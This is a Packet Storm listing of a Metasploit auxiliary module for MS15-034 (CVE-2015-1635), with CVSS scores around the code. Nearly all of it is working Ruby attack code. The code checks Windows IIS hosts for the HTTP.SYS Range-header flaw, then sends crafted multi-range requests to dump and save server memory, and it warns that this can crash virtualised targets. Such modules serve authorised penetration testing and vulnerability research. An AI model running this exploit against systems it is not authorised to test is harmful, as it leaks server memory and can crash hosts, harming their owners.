Lucene search

K
packetstormSinn3r, Rich Whitcroft, Sunny Neo, metasploit.comPACKETSTORM:181150
HistorySep 01, 2024 - 12:00 a.m.

MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure

2024-09-0100:00:00
sinn3r, Rich Whitcroft, Sunny Neo, metasploit.com
packetstormsecurity.com
46
memory dump information
windows security
http protocol

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

7

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure',  
'Description' => %q{  
This module dumps memory contents using a crafted Range header and affects only  
Windows 8.1, Server 2012, and Server 2012R2. Note that if the target  
is running in VMware Workstation, this module has a high likelihood  
of resulting in BSOD; however, VMware ESX and non-virtualized hosts  
seem stable. Using a larger target file should result in more memory  
being dumped, and SSL seems to produce more data as well.  
},  
'Author' =>  
[  
'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module  
'sinn3r', # Some more Metasploit stuff  
'Sunny Neo <sunny.neo[at]centurioninfosec.sg>' #Added VHOST option  
  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-1635'],  
['MSB', 'MS15-034'],  
['URL', 'https://pastebin.com/ypURDPc4'],  
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],  
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],  
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'],  
['URL', 'http://securitysift.com/an-analysis-of-ms15-034/']  
]  
))  
  
register_options([  
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']),  
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])  
])  
  
end  
  
def potential_static_files_uris  
uri = normalize_uri(target_uri.path)  
  
return [uri] unless uri[-1, 1] == '/'  
  
uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"]  
res = send_request_raw('uri' => uri)  
  
return uris unless res  
  
site_uri = URI.parse(full_uri)  
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))  
  
page.xpath('//link|//script|//style|//img').each do |tag|  
%w(href src).each do |attribute|  
attr_value = tag[attribute]  
next unless attr_value && !attr_value.empty?  
uri = site_uri.merge(URI::DEFAULT_PARSER.escape(attr_value.strip))  
next unless uri.host == vhost || uri.host == rhost  
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file  
end  
end  
  
uris.uniq  
end  
  
def check_host(ip)  
upper_range = 0xFFFFFFFFFFFFFFFF  
  
potential_static_files_uris.each do |potential_uri|  
uri = normalize_uri(potential_uri)  
  
res = send_request_raw(  
'uri' => uri,  
'method' => 'GET',  
'headers' => {  
'Range' => "bytes=0-#{upper_range}"  
}  
)  
  
if res && res.body.include?('Requested Range Not Satisfiable')  
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"  
vprint_status("#{vmessage} - Vulnerable")  
  
# Save the file that we want to use for the information leak  
target_uri.path = uri  
  
return Exploit::CheckCode::Vulnerable  
elsif res && res.body.include?('The request has an invalid header name')  
return Exploit::CheckCode::Safe  
end  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def dump(data)  
# clear out the returned resource  
if datastore['SUPPRESS_REQUEST']  
dump_start = data.index('HTTP/1.1 200 OK')  
if dump_start  
data[0..dump_start-1] = ''  
else  
print_error("Memory dump start position not found, dumping all data instead")  
end  
end  
  
print_line  
print_good("Memory contents:")  
print_line(Rex::Text.to_hex_dump(data))  
end  
  
# Needed to allow the vulnerable uri to be shared between the #check and #dos  
def target_uri  
@target_uri ||= super  
end  
  
def get_file_size  
@file_size ||= lambda {  
file_size = -1  
uri = normalize_uri(target_uri.path)  
res = send_request_raw('uri' => uri)  
  
unless res  
vprint_error("Connection timed out")  
return file_size  
end  
  
if res.code == 404  
vprint_error("You got a 404. URI must be a valid resource.")  
return file_size  
end  
  
file_size = res.headers['Content-Length'].to_i  
vprint_status("File length: #{file_size} bytes")  
  
return file_size  
}.call  
end  
  
def calc_ranges(content_length)  
ranges = "bytes=3-18446744073709551615"  
  
range_step = 100  
for range_start in (1..content_length).step(range_step) do  
range_end = range_start + range_step - 1  
range_end = content_length if range_end > content_length  
ranges << ",#{range_start}-#{range_end}"  
end  
  
ranges  
end  
  
def run_host(ip)  
begin  
vuln_status = check_host(ip)  
case vuln_status  
when Exploit::CheckCode::Safe  
print_error('The target is not exploitable.')  
return  
when Exploit::CheckCode::Unknown  
print_error('Cannot reliably check exploitability! Observe the traffic with HTTPTrace turned on and try to debug.')  
return  
when Exploit::CheckCode::Vulnerable  
print_good('The target is vulnerable.')  
else  
print_error('An unknown status code was returned from check_host!')  
return  
end  
  
content_length = get_file_size  
ranges = calc_ranges(content_length)  
  
uri = normalize_uri(target_uri.path)  
cli = Rex::Proto::Http::Client.new(  
ip,  
rport,  
{},  
datastore['SSL'],  
datastore['SSLVersion'],  
nil,  
datastore['USERNAME'],  
datastore['PASSWORD']  
)  
cli.connect  
req = cli.request_raw(  
'uri' => target_uri.path,  
'method' => 'GET',  
'vhost' => "#{datastore['VHOST']}",  
'headers' => {  
'Range' => ranges  
}  
)  
cli.send_request(req)  
  
print_good("Stand by...")  
  
resp = cli.read_response  
  
if resp  
dump(resp.to_s)  
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')  
print_good("Memory dump saved to #{loot_path}")  
else  
print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("Unable to connect")  
return  
rescue ::Timeout::Error, ::Errno::EPIPE  
print_error("Timeout receiving from socket")  
return  
ensure  
cli.close if cli  
end  
end  
end  
`

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

7

Confidence

Low